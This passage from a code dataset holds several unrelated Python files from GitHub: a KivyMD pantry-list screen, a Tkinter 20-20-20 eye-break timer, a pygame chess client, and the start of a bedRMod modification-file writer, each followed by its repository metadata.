kivymd.uix.screen import Screen\nfrom kivymd.uix.button import MDRectangleFlatButton, MDIconButton\nfrom kivymd.uix.list import MDList, OneLineListItem\nfrom kivy.uix.scrollview import ScrollView\nfrom kivymd.uix.dialog import MDDialog\n\n\n\n\nclass PantryApp(MDApp):\n\n Window.size = (400, 650)\n def build(self):\n self.theme_cls.primary_palette = 'Yellow' #changes color of button\n self.theme_cls.primary_hue = 'A700' #changes darkness of button color\n self.theme_cls.theme_style = \"Dark\" #changes background of screen\n appScreen = Screen()\n scrollList = ScrollView()\n checkedOffList = MDList()\n scrollList.add_widget(checkedOffList)\n\n\n\n label = MDLabel(text = 'Add All Checked Items to Pantry', halign = 'center',\n theme_text_color = 'Custom',\n text_color =(255/255.0, 197/255.0, 0, 1),\n pos_hint={'center_x': 0.5,\n 'center_y': 0.98},\n font_style ='Body1')\n\n cancelBttn = MDRectangleFlatButton(text = 'Cancel', pos_hint = {'center_x':0.86,\n 'center_y':0.06})\n\n\n confirmBttn = MDRectangleFlatButton(text = 'Confirm', pos_hint = {'center_x':0.65,\n 'center_y':0.06})\n\n\n appScreen.add_widget(label)\n appScreen.add_widget(cancelBttn)\n appScreen.add_widget(confirmBttn)\n\n\n item1 = OneLineListItem(text = 'Banana',size_hint_x = None, width = 300)\n item2 = OneLineListItem(text='Flour', size_hint_x = None, width=300)\n item3 = OneLineListItem(text='Butter', size_hint_x = None, width=300)\n item4 = OneLineListItem(text='Baking Soda', size_hint_x = None, width=300)\n item5 = OneLineListItem(text='Salt', size_hint_x = None, width=300)\n item6 = OneLineListItem(text='Sugar', size_hint_x = None, width=300)\n item7 = OneLineListItem(text='Dozen Eggs', size_hint_x = None, width=300)\n\n checkedOffList.add_widget(item1)\n checkedOffList.add_widget(item2)\n checkedOffList.add_widget(item3)\n checkedOffList.add_widget(item4)\n checkedOffList.add_widget(item5)\n checkedOffList.add_widget(item6)\n checkedOffList.add_widget(item7)\n\n\n appScreen.add_widget(scrollList)\n\n icon1 = MDIconButton(icon = 'dots-vertical-circle-outline', pos_hint = {'center_x': 0.30,\n 'center_y': 0.95},\n size_hint_x = None,\n on_release = self.show_data)\n\n icon2 = MDIconButton(icon = 'dots-vertical-circle-outline', pos_hint={'center_x': 0.30,\n 'center_y': 0.88},\n size_hint_x = None,\n on_release = self.show_data)\n\n icon3 = MDIconButton(icon = 'dots-vertical-circle-outline', pos_hint={'center_x': 0.30,\n 'center_y': 0.8},\n size_hint_x=None,\n on_release=self.show_data)\n\n icon4 = MDIconButton(icon = 'dots-vertical-circle-outline', pos_hint={'center_x': 0.30,\n 'center_y': 0.73},\n size_hint_x=None,\n on_release=self.show_data)\n\n icon5 = MDIconButton(icon = 'dots-vertical-circle-outline', pos_hint={'center_x': 0.30,\n 'center_y': 0.65},\n size_hint_x=None,\n on_release=self.show_data)\n\n icon6 = MDIconButton(icon = 'dots-vertical-circle-outline', pos_hint={'center_x': 0.30,\n 'center_y': 0.58},\n size_hint_x=None,\n on_release=self.show_data)\n\n icon7 = MDIconButton(icon = 'dots-vertical-circle-outline', pos_hint={'center_x': 0.30,\n 'center_y': 0.51},\n size_hint_x=None,\n on_release=self.show_data)\n appScreen.add_widget(icon1)\n appScreen.add_widget(icon2)\n appScreen.add_widget(icon3)\n appScreen.add_widget(icon4)\n appScreen.add_widget(icon5)\n appScreen.add_widget(icon6)\n appScreen.add_widget(icon7)\n\n return appScreen\n\n\n\n def show_data(self, obj):\n\n closeConfirm = MDRectangleFlatButton(text = 'Confirm', on_release = self.close_dialog)\n closeCancel = MDRectangleFlatButton(text = 'Cancel', on_release = self.close_dialog)\n self.dialog = MDDialog(\n title = 'Enter Quantity & Exp Date',\n buttons = [closeConfirm, closeCancel],\n size_hint = (0.7, 1))\n self.dialog.open()\n\n def close_dialog(self, obj):\n self.dialog.dismiss()\n\n\n\n\nPantryApp().run()\n","repo_name":"willm0602/ThymeSaver","sub_path":"addItemsToPantry.py","file_name":"addItemsToPantry.py","file_ext":"py","file_size_in_byte":6258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"9407547580","text":"import time\nfrom tkinter import Tk, Button, Label, Frame, IntVar, messagebox\nimport pyttsx3\n\n\nclass TimerTwentyTwenty:\n def __init__(self, root):\n self.root = root\n root.title('20-20-20 Timer')\n width = 450\n height = 300\n screenwidth = root.winfo_screenwidth()\n screenheight = root.winfo_screenheight()\n center_align_window = f'{width}x{height}+{(screenwidth - width) // 2}+{(screenheight - height) // 2}'\n root.geometry(center_align_window)\n root.resizable(False, False)\n root.config(bg=\"black\")\n\n self.minutes = IntVar()\n self.seconds = IntVar()\n self.minutes.set(\"20\")\n self.seconds.set(\"0\")\n\n title_lbl = Label(root, text=\"20-20-20 Timer\", pady=10)\n title_font = (\"Comic Sans MS\", 24, \"bold\")\n title_lbl.configure(font=title_font, foreground=\"white\", bg=\"black\")\n\n time_frame = Frame(root, borderwidth=2, relief=\"groove\")\n minutes_label = Label(time_frame, textvariable=self.minutes)\n separator_label = Label(time_frame, text=\":\")\n seconds_label = Label(time_frame, textvariable=self.seconds)\n time_font = (\"OCR A Extended\", 100, \"bold\")\n time_elements = [minutes_label, separator_label, seconds_label]\n\n for element in time_elements:\n element.configure(font=time_font, foreground=\"white\", bg=\"black\")\n\n button_font = (\"Comic Sans MS\", 14)\n start_button = Button(root, text=\"Start\", font=button_font, command=self.start)\n reset_button = Button(root, text=\"Reset\", font=button_font, command=self.reset)\n\n title_lbl.pack()\n time_frame.pack()\n minutes_label.pack(side=\"left\")\n separator_label.pack(side=\"left\")\n seconds_label.pack(side=\"right\")\n start_button.pack(pady=10, side=\"left\")\n reset_button.pack(pady=10, side=\"right\")\n\n self.reset_timer = False\n # Initialize text to speech engine\n self.engine = pyttsx3.init()\n\n def start(self):\n self.reset_timer = False\n temp = int(self.minutes.get())*60 + int(self.seconds.get())\n count_minutes = True\n while temp > -1 and not self.reset_timer:\n # divmod(firstvalue = temp//60, secondvalue = temp%60)\n mins, secs = divmod(temp, 60)\n\n self.minutes.set(mins)\n self.seconds.set(secs)\n\n # updating the GUI window after decrementing the\n # temp value every time\n self.root.update()\n time.sleep(1)\n\n if temp == 0:\n # Toggle State to count 20 minutes or 20 seconds\n count_minutes = not count_minutes\n if not count_minutes:\n self.engine.say(\"20 minutes up. Time to look away!\")\n self.engine.runAndWait()\n start_seconds = messagebox.askyesno(\"Start 20 secs timer\",\n \"Want to start the 20 seconds timer?\")\n if start_seconds:\n self.seconds.set(20)\n temp = int(self.seconds.get())\n self.root.update()\n continue\n else:\n self.engine.say(\"20 seconds up. Time to get back to work!\")\n self.engine.runAndWait()\n start_minutes = messagebox.askyesno(\"Start 20 mins timer\",\n \"Want to start the 20 minutes timer?\")\n if start_minutes:\n self.minutes.set(20)\n temp = int(self.minutes.get())*60\n self.root.update()\n continue\n # after every one sec the value of temp will be decremented\n # by one\n temp -= 1\n\n def reset(self):\n self.minutes.set(20)\n self.seconds.set(0)\n self.reset_timer = True\n\n\ndef main():\n root = Tk()\n gui = TimerTwentyTwenty(root)\n root.mainloop()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"vaylon-fernandes/TwentyTwentyTimer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"22092882962","text":"import copy\nimport datetime\nimport math\nimport pygame as p\n\nimport ai\nimport engine\n\nimport _thread\n\n\ndef update_display():\n p.display.flip()\n\n\ndef get_pieces_images(pieces, size):\n pieces_images = {}\n\n for string in pieces:\n pieces_images[string] = p.transform.scale(p.image.load(\n \"images/\" + string + \".png\").convert_alpha(), (size, size))\n\n return pieces_images\n\n\nclass Programme:\n p.init()\n\n width_board = 512\n height_board = 512\n dimension = 8\n sq_size = height_board // dimension\n max_fps = 60\n clock = p.time.Clock()\n\n colors = {'fill': p.Color('white'),\n 'board1': p.Color(255, 255, 255),\n 'board2': p.Color(255, 204, 255),\n 'border': p.Color(50, 50, 50),\n 'sq_selected': p.Color('purple'),\n 'valid_moves': p.Color('yellow'),\n 'premoves': p.Color('red'),\n 'post_move': p.Color('red'),\n 'sidebar': p.Color(50, 50, 50),\n 'move_log_text': p.Color('white'),\n 'white_score': p.Color('black'),\n 'black_score': p.Color('white'),\n 'timers': p.Color('white'),\n 'end_game_text': p.Color('black'),\n 'result': p.Color('white'),\n\n 'black': p.Color('black'),\n 'white': p.Color('white')}\n\n board_colors = [colors['board1'], colors['board2']]\n\n fonts = {'move_log_text': p.font.SysFont('sfnsmono', size=16,\n bold=False, italic=False),\n\n 'scores': p.font.SysFont('sfnsmono', size=14,\n bold=True, italic=False),\n\n 'timers': p.font.SysFont('sfnsmono', size=24,\n bold=True, italic=False),\n\n 'end_game': p.font.SysFont('Verdana', size=32,\n bold=True, italic=False),\n\n 'result': p.font.SysFont('Verdana', size=32,\n bold=True, italic=False)}\n\n width_sidebar = width_board // 2\n height_sidebar = height_board\n\n move_log_x_padding = 5\n move_log_y_padding = int(1.5 * sq_size) + 10\n move_log_line_spacing = 2\n move_log_text_object_height = fonts['move_log_text'].render(\n 'O-O-O', False, colors['move_log_text']).get_height()\n num_recent_moves = 8\n\n screen = p.display.set_mode((width_board + width_sidebar, height_board))\n screen.fill(colors['fill'])\n\n pieces = ['wk', 'wq', 'wr', 'wb', 'wn', 'wp',\n 'bk', 'bq', 'br', 'bb', 'bn', 'bp']\n\n pieces_images = get_pieces_images(pieces, sq_size)\n pieces_images_small = get_pieces_images(pieces, sq_size // 2)\n\n move_sound = p.mixer.Sound('sounds/move.wav')\n\n def __init__(self, player, network=None, game_mode='singleplayer',\n game_type='blitz'):\n\n self.network = network\n self.game_mode = game_mode\n self.game_type = game_type\n\n if self.network is not None:\n self.get_game_state()\n else:\n self.game_state = engine.GameState(game_mode=self.game_mode,\n game_type=self.game_type)\n\n self.looking_for_ai_move = False\n self.move_made = False\n self.mouseup = None\n self.mousedown = None\n self.piece_selected = None\n self.piece_selected_square = ()\n self.piece_held = None\n self.piece_held_origin = ()\n\n #self.human_player_one = human_player_one\n #self.human_player_two = human_player_two\n #self.human_turn = self.human_player_one\n\n if self.game_mode == 'singleplayer':\n self.comp = ai.AI()\n self.moves_to_execute_ai = []\n else:\n self.comp = None\n self.moves_to_execute_ai = None\n\n self.player_one = True if player == 0 else False\n self.player_two = not self.player_one\n self.human_turn = self.player_one\n self.moves_to_execute = []\n #self.moves_to_execute_two = [] if game_mode == 'doubleplayer' else\n # None\n\n self.undo_moves = False # True if self.game_type == 'standard' else\n # False\n\n self.prog_running = True\n\n def get_game_state(self):\n self.game_state = self.network.send('get')\n\n def tick_clock(self):\n self.clock.tick(self.max_fps)\n\n def draw_game_state(self):\n self.draw_board()\n self.highlight_squares_pre_move()\n self.highlight_squares_post_move()\n self.draw_pieces()\n self.draw_premoves()\n\n self.draw_sidebar()\n self.draw_pieces_taken()\n self.draw_move_log()\n\n if self.game_state.timed_game:\n self.draw_timers()\n\n def draw_board(self):\n for row in range(self.dimension):\n for col in range(self.dimension):\n color = self.board_colors[(row + col) % 2]\n p.draw.rect(self.screen, color, p.Rect(col * self.sq_size,\n row * self.sq_size,\n self.sq_size,\n self.sq_size))\n\n def highlight_squares_pre_move(self):\n if self.piece_held_origin != ():\n row = self.piece_held_origin[0]\n col = self.piece_held_origin[1]\n elif self.piece_selected_square != ():\n row = self.piece_selected_square[0]\n col = self.piece_selected_square[1]\n else:\n return\n\n if self.game_state.board[row][col][0] == ('w' if self.game_state.white_move else 'b'):\n surface = p.Surface((self.sq_size, self.sq_size))\n surface.set_alpha(100) # transparency value\n surface.fill(self.colors['sq_selected'])\n self.screen.blit(surface, (col * self.sq_size,\n row * self.sq_size))\n surface.fill(self.colors['valid_moves'])\n for move in self.game_state.valid_moves:\n if move.start_row == row and move.start_col == col:\n self.screen.blit(surface, (self.sq_size * move.end_col,\n self.sq_size * move.end_row))\n\n def highlight_squares_post_move(self):\n if len(self.game_state.move_log) != 0:\n move = self.game_state.move_log[-1]\n\n surface = p.Surface((self.sq_size, self.sq_size))\n surface.set_alpha(100) # transparency value, 0->255 increasing\n surface.fill(self.colors['post_move'])\n self.screen.blit(surface, (move.start_col * self.sq_size,\n move.start_row * self.sq_size))\n self.screen.blit(surface, (move.end_col * self.sq_size,\n move.end_row * self.sq_size))\n\n def draw_pieces(self):\n temp_board = copy.deepcopy(self.game_state.board)\n\n for move in self.moves_to_execute:\n if self.game_mode == 'online':\n temp_board = quick_move_tpl(move, temp_board)\n else:\n temp_board = quick_move_class(move, temp_board)\n\n for row in range(self.dimension):\n for col in range(self.dimension):\n piece = temp_board[row][col]\n if piece != \"--\":\n self.screen.blit(self.pieces_images[piece],\n p.Rect(col * self.sq_size,\n row * self.sq_size,\n self.sq_size,\n self.sq_size))\n\n def draw_premoves(self):\n rad = 2.0 * math.pi / 3.0\n trirad = 7.0\n thickness = 3\n\n for move in self.moves_to_execute:\n start = self.sq_size * (move.start_col + 0.5), \\\n self.sq_size * (move.start_row + 0.5)\n end = self.sq_size * (move.end_col + 0.5), \\\n self.sq_size * (move.end_row + 0.5)\n\n p.draw.line(self.screen, self.colors['premoves'], start, end,\n thickness)\n rotation = (math.atan2(start[1] - end[1],\n end[0] - start[0])) + math.pi / 2.0\n p.draw.polygon(self.screen, self.colors['premoves'],\n ((end[0] + trirad * math.sin(rotation),\n end[1] + trirad * math.cos(rotation)),\n (end[0] + trirad * math.sin(rotation - rad),\n end[1] + trirad * math.cos(\n rotation - rad)),\n (end[0] + trirad * math.sin(rotation + rad),\n end[1] + trirad * math.cos(\n rotation + rad))))\n\n def draw_sidebar(self):\n self.sidebar = p.Rect(self.width_board, 0,\n self.width_sidebar, self.height_board)\n\n black_bar = p.Rect(self.width_board, 0,\n self.width_sidebar, self.sq_size)\n\n white_bar = p.Rect(self.width_board, self.height_board - self.sq_size,\n self.width_sidebar, self.sq_size)\n\n p.draw.rect(self.screen, self.colors['sidebar'], self.sidebar)\n p.draw.rect(self.screen, self.colors['black'], black_bar)\n p.draw.rect(self.screen, self.colors['white'], white_bar)\n\n def draw_pieces_taken(self):\n self.draw_pieces_taken_func(self.width_board, 0,\n self.game_state.black_taken[:8])\n\n self.draw_pieces_taken_func(self.width_board, self.sq_size // 2,\n self.game_state.black_taken[8:])\n\n self.draw_pieces_taken_func(self.width_board, self.height_board -\n self.sq_size,\n self.game_state.white_taken[:8])\n\n self.draw_pieces_taken_func(self.width_board, self.height_board -\n self.sq_size // 2,\n self.game_state.white_taken[8:])\n\n if self.game_state.white_score > 0:\n object_white = self.fonts['scores'].render(\n '{:>+d}'.format(self.game_state.white_score),\n False, self.colors['white_score'])\n\n loc_white = p.Rect(self.width_board, 0, self.width_sidebar,\n self.height_board).move(\n self.width_sidebar - self.sq_size // 2,\n self.height_board - self.sq_size // 2 +\n object_white.get_height() // 2)\n\n self.screen.blit(object_white, loc_white)\n\n elif self.game_state.black_score > 0:\n object_black = self.fonts['scores'].render(\n '{:>+d}'.format(self.game_state.black_score),\n False, self.colors['black_score'])\n\n loc_black = p.Rect(self.width_board, 0, self.width_sidebar,\n self.height_board).move(\n self.width_sidebar - self.sq_size // 2,\n self.sq_size // 2 + object_black.get_height() // 2)\n\n self.screen.blit(object_black, loc_black)\n\n def draw_pieces_taken_func(self, x, y, lst):\n for piece in lst:\n r = p.Rect(x, y, self.sq_size // 2, self.sq_size // 2)\n self.screen.blit(self.pieces_images_small[piece], r)\n x += self.sq_size // 2\n\n def draw_move_log(self):\n text_y = self.move_log_y_padding\n\n recent_moves = self.game_state.move_log[\n -(2 * self.num_recent_moves) + len(\n self.game_state.move_log) % 2:]\n starting_num = max(0, len(self.game_state.move_log) - len(\n recent_moves))\n\n for move_num in range(0, len(recent_moves), 2):\n string = '{:>3d}. {:>7s} {:>7s}'.format(\n 1 + ((move_num + starting_num) // 2),\n str(recent_moves[move_num]),\n str(recent_moves[move_num + 1])\n if move_num + 1 < len(recent_moves) else '')\n text_object = self.fonts['move_log_text'].render(\n string, False, self.colors['move_log_text'])\n\n text_location = self.sidebar.move(self.move_log_x_padding, text_y)\n self.screen.blit(text_object, text_location)\n\n text_y += text_object.get_height() + self.move_log_line_spacing\n\n def draw_timers(self):\n if self.game_state.white_time < self.game_state.time_alert:\n d = datetime.datetime.utcfromtimestamp(self.game_state.white_time)\n text_white = datetime.datetime.strftime(d, \"%M:%S.%f\")[:-5]\n else:\n d = datetime.datetime.utcfromtimestamp(self.game_state.white_time)\n text_white = datetime.datetime.strftime(d, \"%M:%S\")\n\n if self.game_state.black_time < self.game_state.time_alert:\n d = datetime.datetime.utcfromtimestamp(self.game_state.black_time)\n text_black = datetime.datetime.strftime(d, \"%M:%S.%f\")[:-5]\n else:\n d = datetime.datetime.utcfromtimestamp(self.game_state.black_time)\n text_black = datetime.datetime.strftime(d, \"%M:%S\")\n\n object_white = self.fonts['timers'].render(text_white, False, self.colors[\n 'timers'])\n\n object_black = self.fonts['timers'].render(text_black, False, self.colors[\n 'timers'])\n\n loc_white = p.Rect(self.width_board, 0, self.width_sidebar,\n self.height_board).move(\n (self.width_sidebar - object_white.get_width()) / 2,\n self.height_board - int(1.5 * self.sq_size))\n\n loc_black = p.Rect(self.width_board, 0, self.width_sidebar,\n self.height_board).move(\n (self.width_sidebar - object_black.get_width()) / 2,\n self.sq_size)\n\n self.screen.blit(object_white, loc_white)\n self.screen.blit(object_black, loc_black)\n\n def draw_end_game_text(self, text):\n text_object = self.fonts['end_game'].render(text, False, self.colors[\n 'end_game_text'])\n\n text_location = p.Rect(0, 0, self.width_board, self.height_board).move(\n (self.width_board - text_object.get_width()) / 2,\n (self.height_board - text_object.get_height()) / 2)\n\n self.screen.blit(text_object, text_location)\n\n def draw_result(self, text):\n text_object = self.fonts['result'].render(text, False,\n self.colors['result'])\n\n text_location = p.Rect(self.width_board, 0,\n self.width_sidebar, self.height_sidebar).move(\n (self.width_sidebar - text_object.get_width()) / 2,\n self.height_board - int(2.5 * self.sq_size +\n text_object.get_height() / 2))\n\n self.screen.blit(text_object, text_location)\n\n def animate_move(self):\n mouse_col, mouse_row = p.mouse.get_pos()\n\n start_square = p.Rect(self.piece_held_origin[1] * self.sq_size,\n self.piece_held_origin[0] * self.sq_size,\n self.sq_size,\n self.sq_size)\n\n p.draw.rect(self.screen, self.colors['sq_selected'],\n start_square)\n\n rect = p.Rect(mouse_col - self.sq_size // 2,\n mouse_row - self.sq_size // 2,\n self.sq_size,\n self.sq_size)\n\n self.screen.blit(self.pieces_images[self.piece_held],\n rect)\n\n # p.display.update(rect)\n p.display.flip()\n\n def try_to_hold_piece(self):\n self.piece_selected = None\n self.piece_selected_square = ()\n\n piece = self.game_state.board[self.mousedown.row][self.mousedown.col]\n\n #if piece[0] == 'w' if self.player_one else 'b':\n if piece != '--':\n self.piece_held = piece\n self.piece_held_origin = (self.mousedown.row,\n self.mousedown.col)\n\n def get_mouse_click(self, pos):\n x, y = pos\n\n col = x // self.sq_size\n row = y // self.sq_size\n\n return Click(x, y, row, col)\n\n def check_endgame(self):\n if self.game_state.timeout:\n self.game_state.game_over = True\n if not self.game_state.white_move:\n self.draw_end_game_text('Black timeout. White wins!')\n self.draw_result('1-0')\n else:\n self.draw_end_game_text('White timeout. Black wins!')\n self.draw_result('0-1')\n\n elif self.game_state.checkmate:\n self.game_state.game_over = True\n self.draw_end_game_text(\n '{} wins by checkmate!'.format('Black' if\n self.game_state.white_move\n else 'White'))\n self.draw_result('1-0' if not self.game_state.white_move else\n '0-1')\n\n elif self.game_state.stalemate:\n self.game_state.game_over = True\n self.draw_end_game_text('Stalemate')\n self.draw_result('1/2-1/2')\n\n elif self.game_state.is_three_fold:\n self.game_state.game_over = True\n self.draw_end_game_text('Three-fold repetition')\n self.draw_result('1/2-1/2')\n\n elif self.game_state.is_fifty_rule:\n self.game_state.game_over = True\n self.draw_end_game_text('Fifty moves rule')\n self.draw_result('1/2-1/2')\n\n elif self.game_state.is_impossibility:\n self.game_state.game_over = True\n self.draw_end_game_text('Dead position')\n self.draw_result('1/2-1/2')\n\n def update_human_turn(self):\n self.human_turn = (self.game_state.white_move and\n self.player_one) or \\\n (not self.game_state.white_move and\n self.player_two)\n\n '''\n def add_online_move(self, move):\n start_row, start_col = move[0], move[1]\n end_row, end_col = move[2], move[3]\n piece_moved = move[4]\n\n if start_row == end_row and start_col == end_col:\n pass\n else:\n if (piece_moved[0] == 'w' and self.player_one) or \\\n (piece_moved[0] == 'b' and self.player_two):\n self.moves_to_execute.append(move)\n '''\n\n def add_move(self, move):\n if move.start_row == move.end_row and move.start_col == move.end_col:\n pass\n else:\n if (move.piece_moved[0] == 'w' and self.player_one) or \\\n (move.piece_moved[0] == 'b' and self.player_two):\n self.moves_to_execute.append(move)\n\n def add_ai_move(self, move):\n self.moves_to_execute_ai.append(move)\n\n def get_ai_move(self):\n if not self.game_state.game_over and not self.human_turn and not \\\n self.move_made and not self.looking_for_ai_move:\n\n # create a copy of the game stat for the ai to work with freely\n ai_gs = copy.deepcopy(self.game_state)\n\n _thread.start_new_thread(ai.add_ai_move, (self, ai_gs))\n\n def try_to_make_move(self):\n if self.game_state.ready and not self.game_state.game_over:\n\n if self.human_turn and len(self.moves_to_execute) > 0:\n move = self.moves_to_execute[0]\n\n for m in self.game_state.valid_moves:\n if move == m:\n self.game_state.make_move(m)\n self.move_made = True\n break\n\n if self.move_made:\n self.move_sound.play()\n self.moves_to_execute.pop(0)\n\n else:\n self.moves_to_execute = []\n\n elif len(self.moves_to_execute_ai) > 0:\n move = self.moves_to_execute_ai[0]\n\n for m in self.game_state.valid_moves:\n if move == m:\n self.game_state.make_move(m)\n self.move_made = True\n break\n\n if self.move_made:\n self.move_sound.play()\n self.moves_to_execute_ai.pop(0)\n else:\n self.moves_to_execute_ai = []\n\n def try_to_send_move(self):\n # try to execute a move that may be waiting\n if self.game_state.ready and not self.game_state.game_over and \\\n ((self.game_state.white_move and self.player_one) or\n not self.game_state.white_move and self.player_two) and \\\n len(self.moves_to_execute) > 0:\n\n move = self.moves_to_execute[0]\n '''\n start_row, start_col = move[0], move[1]\n end_row, end_col = move[2], move[3]\n '''\n\n for num, m in enumerate(self.game_state.valid_moves):\n '''\n if str(start_row) + str(start_col) + \\\n str(end_row) + str(end_col) == m.move_id:\n '''\n if move == m:\n #ntwrk.send(str(num))\n try:\n self.network.send(num)\n #self.network.send(move)\n except EOFError:\n print('EOFError')\n\n self.move_made = True\n break\n\n if self.move_made:\n self.moves_to_execute.pop(0)\n else:\n self.moves_to_execute = []\n\n #return gs\n\n def manage_events(self):\n for event in p.event.get():\n # we click the mouse\n if event.type == p.MOUSEBUTTONDOWN:\n self.mousedown = self.get_mouse_click(p.mouse.get_pos())\n\n if self.mousedown.on_the_board and not \\\n self.game_state.game_over:\n self.try_to_hold_piece()\n\n elif event.type == p.MOUSEBUTTONUP:\n if self.mousedown is not None:\n self.mouseup = self.get_mouse_click(p.mouse.get_pos())\n\n if self.mouseup.on_the_board and self.game_state.ready \\\n and not self.game_state.game_over:\n # if same square then highlight that pieces moves\n if self.mouseup == self.mousedown and \\\n self.piece_selected is None:\n self.piece_selected = self.piece_held\n self.piece_selected_square = self.piece_held_origin\n\n elif self.piece_held is not None:\n '''\n if self.game_mode == 'online':\n move = (self.piece_held_origin[0],\n self.piece_held_origin[1],\n self.mouseup.row,\n self.mouseup.col,\n self.piece_held[0])\n\n self.add_online_move(move)\n\n else:\n '''\n move = engine.Move(self.piece_held_origin,\n (self.mouseup.row,\n self.mouseup.col),\n self.game_state.board)\n\n self.add_move(move)\n\n # self.piece_selected = self.piece_held\n # self.piece_selected_square = self.piece_held_origin\n self.piece_held = None\n self.piece_held_origin = ()\n\n elif self.piece_selected is not None:\n # try to make move to a valid square, other just\n # unselect the piece\n '''\n if self.game_mode == 'online':\n move = (self.piece_selected_square[0],\n self.piece_selected_square[1],\n self.mouseup.row,\n self.mouseup.col,\n self.piece_selected[0])\n\n self.add_online_move(move)\n\n else:\n '''\n move = engine.Move(self.piece_selected_square,\n (self.mouseup.row,\n self.mouseup.col),\n self.game_state.board)\n\n self.add_move(move)\n\n self.piece_selected = None\n self.piece_selected_square = ()\n\n self.piece_held = None\n self.piece_held_origin = ()\n\n self.mousedown = None\n self.mouseup = None\n\n elif event.type == p.KEYDOWN:\n if event.key == p.K_ESCAPE:\n self.mousedown = None\n self.piece_held = None\n self.piece_held_origin = ()\n self.piece_selected = None\n self.piece_selected_square = ()\n\n elif event.key == p.K_c:\n if len(self.moves_to_execute) > 0:\n self.moves_to_execute.pop()\n\n elif event.key == p.K_u and self.undo_moves:\n self.game_state.moves_to_execute = []\n self.game_state.undo_move()\n self.move_made = True\n self.game_state.game_over = False\n\n '''\n elif event.key == p.K_r:\n # prog.reset()\n self.__init__(0 if self.player_one else 1)\n # game_state reset is done in the main function\n '''\n\n elif event.type == p.QUIT:\n self.prog_running = False\n\n\n\nclass Click:\n def __init__(self, x, y, row, col):\n self.x = x\n self.y = y\n self.row = row\n self.col = col\n self.on_the_board = True if (0 <= self.row <= 7 and\n 0 <= self.col <= 7) else False\n\n def __eq__(self, other):\n return True if (self.row == other.row and self.col == other.col) \\\n else False\n\n\n\ndef quick_move_tpl(move, board):\n start_row, start_col = move[0], move[1]\n end_row, end_col = move[2], move[3]\n piece_moved = move[4]\n\n board[start_row][start_col] = '--'\n board[end_row][end_col] = piece_moved\n\n if move.is_pawn_promotion:\n board[end_row][end_col] = piece_moved[0] + 'q'\n\n if move.is_enpassant:\n board[start_row][end_col] = '--'\n\n if move.is_castling:\n if move.end_col - move.start_col == 2:\n board[move.end_row][move.end_col - 1] = board[\n move.end_row][move.end_col + 1]\n board[move.end_row][move.end_col + 1] = '--'\n else:\n board[move.end_row][move.end_col + 1] = board[\n move.end_row][move.end_col - 2]\n board[move.end_row][move.end_col - 2] = '--'\n\n return board\n\n\ndef quick_move_class(move, board):\n board[move.start_row][move.start_col] = '--'\n board[move.end_row][move.end_col] = move.piece_moved\n\n if move.is_pawn_promotion:\n board[move.end_row][move.end_col] = move.piece_moved[0] + 'q'\n\n if move.is_enpassant:\n board[move.start_row][move.end_col] = '--'\n\n if move.is_castling:\n if move.end_col - move.start_col == 2:\n board[move.end_row][move.end_col - 1] = board[\n move.end_row][move.end_col + 1]\n board[move.end_row][move.end_col + 1] = '--'\n else:\n board[move.end_row][move.end_col + 1] = board[\n move.end_row][move.end_col - 2]\n board[move.end_row][move.end_col - 2] = '--'\n\n return board\n","repo_name":"avadean/chess","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":28295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"33942857429","text":"\"write bedRMod file\"\n\nfrom bayespore.inference import filter_inputs, assign_classes\nfrom bayespore.gmm import compute_posteriors\nimport numpy as np\nimport logging\n\nFORMAT = 'bedRModv1.6'\nORG = 'IVT'\nMOD_TYPE = 'RNA' # or DNA\nASSEM = 'transcriptome'\nANNO_SOURCE = 'NA'\nANNO_VER = 'NA'\nSEQ_PLATFORM = 'MinION_Mk1b_FLO-FLG001'\nBASECALL_MODEL = 'rna002_70bps_hac@v3'\nWORKFLOW = 'bayespore'\nEXPERIMENT = 'test'\nEXTERNAL_SRC = 'NA'\n\nMOD_REF = {\n '5mC': 'C',\n 'm6A': 'A',\n}\n\nMOD_RGB = {\n '5mC': '244,164,96',\n 'm6A': '176,196,222',\n}\n\nCONFIDENCE_SCALE = 1000\n\ndef output_rmod_bed(data, results, mod_type, contig, strand, out_dir,\n middel_base_dist, post_cutoff):\n read_out = f'{out_dir}/reads.bedrmod'\n site_out = f'{out_dir}/sites.bedrmod'\n\n with open(read_out, 'w') as read_out, open(site_out, 'w') as site_out:\n header_rows(read_out)\n header_rows(site_out)\n parse_results(data, results, mod_type, contig, strand,\n read_out, site_out, middel_base_dist, post_cutoff)\n\n\ndef header_rows(out):\n out.write(f'#fileformat={FORMAT}\\n')\n out.write(f'#organism={ORG}\\n')\n out.write(f'#modification_type={MOD_TYPE}\\n')\n out.write(f'#assembly={ASSEM}\\n')\n out.write(f'#annotation_source={ANNO_SOURCE}\\n')\n out.write(f'#annotation_version={ANNO_VER}\\n')\n out.write(f'#sequencing_platform={SEQ_PLATFORM}\\n')\n out.write(f'#basecalling={BASECALL_MODEL}\\n')\n out.write(f'#bioinformatics_workflow={WORKFLOW}\\n')\n out.write(f'#experiment={EXPERIMENT}\\n')\n out.write(f'#external_source={EXTERNAL_SRC}\\n')\n out.write('\\t'.join(['#chrom', 'chromStart', 'chromEnd', 'name', 'score', 'strand', 'thickStart',\n 'thickEnd', 'itemRgb', 'coverage', 'frequency', 'refBase'])+'\\n')\n\n\ndef parse_results(data, results, mod_type, contig, strand, read_out, site_out, \n middle_base_dist=2, post_cutoff=.95):\n # for each k bases window\n trimmean, trimsd, dwell, read_ids, seq, levels = data\n\n for pos, res in results.items():\n params = res['params']\n mu_loc = params.get('mu_loc')\n win_size = mu_loc.shape[1]\n\n # repeat, integrate into iter_data (?)\n mean_win = trimmean[:,pos:pos+win_size]\n sd_win = trimsd[:,pos:pos+win_size]\n dwell_win = dwell[:,pos:pos+win_size]\n data, reads_win = filter_inputs(mean_win, sd_win, dwell_win, read_ids)\n posteriors = compute_posteriors(data, params)\n\n read_labels0 = np.argmax(posteriors, axis=1)\n read_probs = np.max(posteriors, axis=1)\n ref_means = levels[pos:pos+win_size]\n\n try:\n mod_cluster, kickout, site_confidence, dists = assign_classes(mu_loc, ref_means)\n logging.debug(kickout, ' kickout')\n except Exception as e:\n logging.debug(e)\n continue\n \n # quick 